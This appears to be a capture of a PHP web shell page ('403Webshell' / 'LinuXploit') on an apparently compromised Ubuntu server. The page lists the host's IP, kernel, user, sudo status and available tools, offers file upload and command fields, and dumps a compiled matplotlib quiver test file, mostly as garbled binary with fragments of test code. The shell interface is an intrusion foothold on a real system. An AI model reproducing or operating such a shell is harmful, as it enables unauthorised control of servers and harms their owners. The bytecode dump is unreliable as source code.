403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.143
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/tests/__pycache__/test_quiver.cpython-312.pyc
�

G8�cC!��|�ddlZddlZddlZddlZddlmZddlm	Z	d�Z
ejjej�dk7d��d��Zejjej�dk7d��d	��Zd
�Zd�Zd�Zd
�Ze	dg�d��Ze	dg�d��Ze	dgd��d��Zd�Ze	dgd��d��Ze	dgd��d��Ze	dgd��d��Ze	dgd��d��Ze	dgd��d ��Zd!�Zd"�Zd#�Ze	d$gd��d%��Z d&�Z!d'�Z"y)(�N)�pyplot)�image_comparisonc�L�tjtjddtjzd�tjddtjzd��\}}tj|�}tj
|�}|j||fi|��}|S)Nr��)�np�meshgrid�arange�pi�cos�sin�quiver)�ax�kwargs�X�Y�U�V�Qs       �>/usr/lib/python3/dist-packages/matplotlib/tests/test_quiver.py�draw_quiverrsy��
�;�;�r�y�y��A����I�q�1��y�y��A����I�q�1�3�D�A�q�
���q�	�A�
���q�	�A���	�	�!�Q�!�&�!�A��H��CPythonzRequires CPython)�reasonc��tj�\}}t|�}|j}|j	�~tj|�dk(sJ�y)Nr)�plt�subplotsrr�remove�sys�getrefcount)�figrr�ttXs    r�test_quiver_memory_leakr#sH���l�l�n�G�C���B��A�
�#�#�C��H�H�J�	��?�?�3��1�$�$�$rc
��tj�\}}t|�}|j|dddddddi��}t	j
|�d	k(sJ�|j
�t	j
|�dk(sJ�y)
N��?�q=
ףp�?r�$2 \frac{m}{s}$�W�weight�bold��labelpos�fontproperties�)rrr�	quiverkeyrr r)r!rr�qks    r�test_quiver_key_memory_leakr1#s~���l�l�n�G�C���B��A�	���a��d�A�'9�"�&.��%7�
�
9�B��?�?�2��!�#�#�#��I�I�K��?�?�2��!�#�#�#rc	�*�ddg}tjtd��5tj|�ddd�tjtd��5tj||||||�ddd�y#1swY�HxYw#1swYyxYw)Nrrz/takes 2-5 positional arguments but 1 were given��matchz/takes 2-5 positional arguments but 6 were given)�pytest�raises�	TypeErrorrr)rs r�test_quiver_number_of_argsr82s���	
�A��A�	����C�
E��	�
�
�1�
��
����C�
E�%�	�
�
�1�a��A�q�!�$�%�%�	���%�%�s�A=�B	�=B�	Bc�V�ddg}gd�}tjtd��5tj||||�ddd�tjtd��5tj||||�ddd�tjtd��5tj||||�ddd�tjtd��5tj|||||�ddd�y#1swY��xYw#1swY��xYw#1swY�_xYw#1swYyxYw)	Nrr)rrr.z?X and Y must be the same size, but X.size is 2 and Y.size is 3.r3zMArgument U has a size 3 which does not match 2, the number of arrow positionszMArgument V has a size 3 which does not match 2, the number of arrow positionszMArgument C has a size 3 which does not match 2, the number of arrow positions)r5r6�
ValueErrorrr)�X2�X3s  r�test_quiver_arg_sizesr=>s��
�Q��B�	�B�	���� >�
@�#�	�
�
�2�r�2�r�"�#�
���� B�
D�#�	�
�
�2�r�2�r�"�#�
���� B�
D�#�	�
�
�2�r�2�r�"�#�
���� B�
D�'�	�
�
�2�r�2�r�2�&�'�'�#�#��#�#��#�#��'�'�s/�C;� D�D�D�;D�D�D�D(c��tj�\}}tjtjd�tjd��\}}tj
|�x}}tjjdd�dz
dz}|j|||||��|jj�y)N��
r%���angles)rrrr	r
�	ones_like�random�randr�canvas�draw�r!rrrrr�phis       r�test_no_warningsrKSs����l�l�n�G�C��
�;�;�r�y�y��}�b�i�i��m�4�D�A�q��L�L��O��A��
�9�9�>�>�"�b�!�B�&�#�
-�C��I�I�a��A�q��I�%��J�J�O�O�rc�b�tj�\}}tjtjd�tjd��\}}tj
|�tj|�}}|j||dd��|jj�y)Nr@r)�
headlength�headaxislength)
rrrr	r
rr
rrGrH)r!rrrrrs      r�test_zero_headlengthrO\sr���l�l�n�G�C��
�;�;�r�y�y��}�b�i�i��m�4�D�A�q�
�6�6�!�9�b�f�f�Q�i�q�A��I�I�a��q��I�3��J�J�O�O�rzquiver_animated_test_image.pngc
��tj�\}}t|d��}|j|ddddddd	i�
�y)NT)�animatedr%r&rr'r(r)r*r+)rrrr/�r!rrs   r�test_quiver_animaterSfsF���l�l�n�G�C���B��&�A��L�L��C��q�"4��x��.@��Brzquiver_with_key_test_image.pngc
��tj�\}}|jd�t|�}|j	|dddddddd	d
d���	y)
N皙�����?r%gffffff�?rz"$2\, \mathrm{m}\, \mathrm{s}^{-1}$i�����figurer(r*�large)r)�size)�angle�coordinatesr,r-)rr�marginsrr/rRs   r�test_quiver_with_keyr\osS���l�l�n�G�C���J�J�s�O��B��A��L�L��C��q�6��%��+1�7� C��Erzquiver_single_test_image.pngT)�remove_textc��tj�\}}|jd�|jdgdgdgdg�y)NrUrr)rrr[r�r!rs  r�test_quiver_singler`|s6���l�l�n�G�C���J�J�s�O��I�I�q�c�A�3���a�S�!rc��tj�\}}ttjdg�tjdg���}|jdgdg|d|d�}d|dd<|jddk(sJ�y)N皙�����?g@)�u�vrrcrdr)rr�dictr�arrayrr)r!r�uv�q0s    r�test_quiver_copyri�sr���l�l�n�G�C��	
����#���2�8�8�S�E�?�	3�B�	���A�3���R��W�b��g�	.�B��B�s�G�A�J�
�4�4��7�c�>��>rzquiver_key_pivot.pngc�"�tj�\}}tjddtjzd�ddtjzd�f\}}|jtj|�tj|��}|jdd�|jdd�|j|ddddd�	�|j|dddd
d
�	�|j|ddddd�	�|j|ddddd�	�y)
Nrry$@����r%r�N)r,�E�Sr()rrr�mgridrrr
r�set_xlim�set_ylimr/)r!rrcrd�qs     r�test_quiver_key_pivotrt�s����l�l�n�G�C��
�8�8�A�a����g�c�M�1�Q�r�u�u�W�S�=�0�1�D�A�q�
�	�	�"�&�&��)�R�V�V�A�Y�'�A��K�K��B���K�K��B���L�L��C��A�s�S�L�1��L�L��A�s�A�s�S�L�1��L�L��C��A�s�S�L�1��L�L��A�s�A�s�S�L�1rzquiver_key_xy.pngc
��tjd�}tjd�}|tjdzz}tjd|z�}|j
}|j}tjd�\}}t|d�D]p\}}	|jdd�|jdd�|j||||d	d
ddd
|	��
}
td
d�D]\}}|j|
|dd|dd����ry)N��y�?r)rg�xy���g������ɿ皙�����?�middlerxg�������?)�pivot�units�width�scale�scale_unitsrC)rzr%皙�����?)r�-�Zr�r��b)rrrrY�label�color)rr
�zerosr�exp�real�imagrr�ziprqrrrr/)
rrrCrgrrr!�axsr�	angle_strrs�xrYs
             r�test_quiver_key_xyr��s���	�	�	�!��A�
�����A�
�"�%�%�!�)�_�F�	����V��	�B�
���A�
���A��|�|�A��H�C���S�,�/�O�
��I�
���B���
���D�#���I�I�a��A�q�� ���4�&�
�
(���O�[�9�	O�H�A�u��L�L��a�3�!�5��#�L�N�	O�Orzbarbs_test_image.pngc��tjddd�}tj||�\}}d|zd|z}}tj�\}}|j||||tj||�ddtddd�	�d
��	y)N�����TF��?rz�333333�?��	emptybarb�spacing�height�viridis)�
fill_empty�rounding�sizes�cmap)r�linspacer	rr�barbs�hypotre�r�rrrrr!rs       r�
test_barbsr��s���
���B��1��A�
�;�;�q�!��D�A�q�
�a�4��A��q�A��l�l�n�G�C���H�H�Q��1�a����!�Q��D�5��$��C�@��
�rzbarbs_pivot_test_image.pngc��tjddd�}tj||�\}}d|zd|z}}tj�\}}|j||||dddt
ddd	�
���|j||dd
��y)Nr�r�r�TF�333333�?r�rzr�r�)r�r�r|r��1�black)�s�c)rr�r	rrr�re�scatterr�s       r�test_barbs_pivotr��s���
���B��1��A�
�;�;�q�!��D�A�q�
�a�4��A��q�A��l�l�n�G�C���H�H�Q��1�a�D�5���$��C�@�
�B��J�J�q�!�r�W�J�%rzbarbs_test_flip.pngc��tjddd�}tj||�\}}d|zd|z}}tj�\}}|j||||dddt
ddd	�
�|dk��	y
)z'Test barbs with an array for flip_barb.r�r�r�TFr�r�rzr�r�r)r�r�r|r��	flip_barbN)rr�r	rrr�rer�s       r�test_barbs_flipr��s|��	���B��1��A�
�;�;�q�!��D�A�q�
�a�4��A��q�A��l�l�n�G�C���H�H�Q��1�a�D�5���$��C�@��1�u�
�rc��tj�\}}tjdg�}tjdg�}|j	dgdg||�}d|d<|j
ddk(sJ�d|d<|jddk(sJ�y)Nrbg������@rr)rrrrfr�rcrd)r!rrcrd�b0s     r�test_barb_copyr��s����l�l�n�G�C��
���#���A�
���#���A�	���1�#��s�A�q�	!�B��A�a�D�
�4�4��7�c�>��>��A�a�D�
�4�4��7�c�>��>rc�R�tjd�}tjd�}tjjdtjd�z�}tjjdtj
|�z�}tjj|d<tjj|d<tj�\}}tjt�5|j||||�ddd�y#1swYyxYw)z=Test error handling when given differing sized masked arrays.r.g.@)rwrN)
rr
�marf�onesrD�maskedrrr5r6r:r�)r��yrcrdr!rs      r�test_bad_masked_sizesr��s���
�	�	�!��A�
�	�	�!��A�
�����C�"�'�'�$�-�'�(�A�
�����C�"�,�,�q�/�)�*�A�
�5�5�<�<�A�a�D�
�5�5�<�<�A�a�D��l�l�n�G�C��	���z�	"��
����A�q�!�����s�?D�D&c�X�tj�\}}tjtjd�tjd��\}}tj
|�x}}tjjdd�dz
dz}|j|||||d��y)Nr?r@r%rArx)rCr�)	rrrr	r
rDrErFrrIs       r�test_angles_and_scaler��s}���l�l�n�G�C��
�;�;�r�y�y��}�b�i�i��m�4�D�A�q��L�L��O��A��
�9�9�>�>�"�b�!�B�&�#�
-�C��I�I�a��A�q��$�I�7rz
quiver_xy.pngc	���tjtd����\}}|jddddddd��|j	dd�|jdd�|j
�y)	N�equal)�aspect)�
subplot_kwrrrx)rCr�rrb)rrrerrqrr�gridr_s  r�test_quiver_xyr��sZ���l�l�d�'�&:�;�G�C���I�I�a��A�q��4�q�I�A��K�K��3���K�K��3���G�G�Irc��tj�\}}tjtjd�tjd��\}}tj
|�x}x}}|j
|||||��}|j|dddd�}|jj�t|j�dk(sJ�y)NrrBr�Label)rrrr	r
rDrr/rGrH�len�verts)	r!rrrrrrCrsr0s	         r�test_quiverkey_anglesr��s����l�l�n�G�C��
�;�;�r�y�y��|�R�Y�Y�q�\�2�D�A�q��\�\�!�_�$�A�$��F�
�	�	�!�Q��1�V�	�,�A�	���a��A�q�'�	*�B��J�J�O�O���r�x�x�=�A���rc�*�tj�\}}tjtjd�tjd��\}}tj
|�x}}|j
||||�}|jdd�y)zBCheck that it is possible to set all arrow UVC to the same numbersrrrN)rrrr	r
rDr�set_UVC)r!rrrrrrss       r�test_quiver_setuvc_numbersr�sj���l�l�n�G�C��
�;�;�r�y�y��|�R�Y�Y�q�\�2�D�A�q��L�L��O��A��
�	�	�!�Q��1��A��I�I�a��Or)#�platformr�numpyrr5�
matplotlibrr�matplotlib.testing.decoratorsrr�mark�skipif�python_implementationr#r1r8r=rKrOrSr\r`rirtr�r�r�r�r�r�r�r�r�r��rr�<module>r�s����
��
�$�:�
������2�H�2�2�4�	�A�-��/�	%�/�	%������2�H�2�2�4�	�A�-��/�
$�/�
$�	%�'�*���3�4�5�B�6�B��3�4�5�	E�6�	E��1�2��E�"�F�"���)�*��=�2�>�2��&�'�T�:�O�;�O�.�)�*��=��>���/�0�d�C�&�D�&��(�)�t�<��=���
�8��?�#��6��7���	r

Youez - 2016 - github.com/yon3zu
LinuXploit